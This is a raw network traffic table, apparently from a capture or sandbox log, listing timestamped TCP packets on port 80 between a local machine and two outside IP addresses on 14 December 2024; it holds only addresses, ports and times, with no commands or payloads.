Dec 14, 2024 14:56:31.450721025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.450758934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.450777054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.450813055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.451858044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.451896906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.451976061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.452013016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.452984095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.453097105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.453136921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.454080105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.454119921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.454180002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.454219103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.455185890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.455224991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.455301046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.455339909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.456316948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.456428051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.456480026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.457468033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.457521915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.457596064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.457633972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.471337080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.471395016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.471412897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.471451044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.471854925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.471899033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.471966028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.471998930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.472779036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.472826004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.472836018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.473838091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.473881006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.473956108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.473993063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.474991083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.475028992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.475095987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.475131989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.476082087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.476118088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.476196051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.476233006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.476627111 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.476757050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.476835012 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.477201939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.477274895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.477317095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.478352070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.478482962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.478524923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.478540897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.478578091 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.479439020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.479491949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.479521990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.479556084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.480520964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.480691910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.480729103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.481625080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.481755018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.481798887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.482753992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.482863903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.482902050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.483885050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.483923912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.483968019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.484015942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.485013008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.485049963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.485079050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.485114098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.486119032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.486155033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.486212015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.486248970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.487221003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.487257004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.487350941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.487386942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.488337040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.488451958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.488563061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.489423037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.489538908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.489578962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.490561008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.490597963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.490708113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.490746975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.491652966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.491703033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.491755009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.491791010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.492773056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.492897034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.492943048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.493912935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.493957043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.493984938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.494021893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.495018959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.495059013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.495121002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.495389938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.496172905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.496208906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.548018932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.548145056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.548333883 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.549451113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.549465895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.549509048 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.552303076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.552412987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.552455902 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.555166006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.555268049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.555320978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.557934999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.558085918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.558134079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.560770035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.560834885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.560877085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.563503027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.563581944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.563625097 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.566186905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.566277027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.566478968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.568825006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.568941116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.568984032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.571398973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.571531057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.571662903 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.573936939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.574042082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.574081898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.576534986 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.576627016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.576675892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.579080105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.579226017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.579714060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.581684113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.581789017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.581828117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.584229946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.584352970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.584393978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.586812019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.587038040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.587076902 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.589370966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.589478016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.589867115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.591941118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.592036009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.592116117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.594533920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.594650030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.594715118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.597084999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.597212076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.597280025 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.599661112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.599797010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.600214005 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.602226973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.602341890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.602413893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.604199886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.604298115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.604568005 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.606128931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.606254101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.608119011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.608161926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.608194113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.608599901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.610042095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.610160112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.610243082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.611989975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.612056971 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.612133980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.613922119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.614063025 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.615922928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.616004944 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.616035938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.616600037 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.617718935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.617806911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.617857933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.617899895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.618040085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.618180037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.618190050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.618223906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.618225098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.618257046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.619138002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.619175911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.619235039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.619280100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.619796038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.619889975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.620263100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.620318890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.620320082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.620351076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.620388031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.621035099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.621148109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.621185064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.621728897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.621849060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.622164965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.622204065 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.622205019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.622210979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.622256994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.623292923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.623326063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.623404980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.623441935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.623652935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.624416113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.624464035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.624524117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.624561071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.625564098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.625612020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.625693083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.625730038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.626646996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.626876116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.626923084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.627768993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.627811909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.627845049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.627880096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.628881931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.628918886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.628968954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.629007101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.630028963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.630069971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.630095005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.630130053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.631074905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.631128073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.631187916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.631222010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.632188082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.632235050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.632308006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.632349968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.633352995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.633455992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.633500099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.634417057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.634474993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.634602070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.634643078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.635627985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.635673046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.635745049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.635778904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.636763096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.636806011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.636861086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.636905909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.637774944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.637814045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.637851954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.637892962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.638963938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.639003038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.639031887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.639067888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.639997005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.640037060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.640165091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.640199900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.641129971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.641180038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.641205072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.641448975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.642198086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.642241955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.642302036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.642339945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.643311024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.643352032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.643448114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.643487930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.644619942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.644664049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.644751072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.644819975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.645948887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.645994902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.646008968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.646341085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.646750927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.646895885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.646934986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.648057938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.648099899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.648117065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.648273945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.648890972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.648931980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.649005890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.649044991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.650012016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.650053978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.650110960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.650146008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.663640022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.663685083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.663849115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.663896084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.664175034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.664220095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.664302111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.664371967 CET	49876	80	192.168.2.5	31.41.244.11
